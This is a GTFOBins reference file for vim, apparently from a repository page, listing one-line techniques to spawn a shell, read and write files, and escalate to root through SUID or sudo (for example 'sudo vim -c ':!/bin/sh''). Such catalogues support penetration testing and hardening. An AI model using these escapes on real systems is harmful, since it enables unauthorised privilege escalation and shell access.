GTFOBins.github.io/_gtfobins/vim.md
2018-08-20 15:00:34 +02:00

22 lines
376 B
Markdown

---
functions:
execute-interactive:
- code: vim -c ':!/bin/sh'
- code: |
vim
:set shell=/bin/sh
:shell
file-write:
- code: |
vim file_to_write
iDATA
^[
w
file-read:
- code: vim file_to_read
suid-enabled:
- code: ./vim -c ':!/bin/sh -p'
sudo-enabled:
- code: sudo vim -c ':!/bin/sh'
---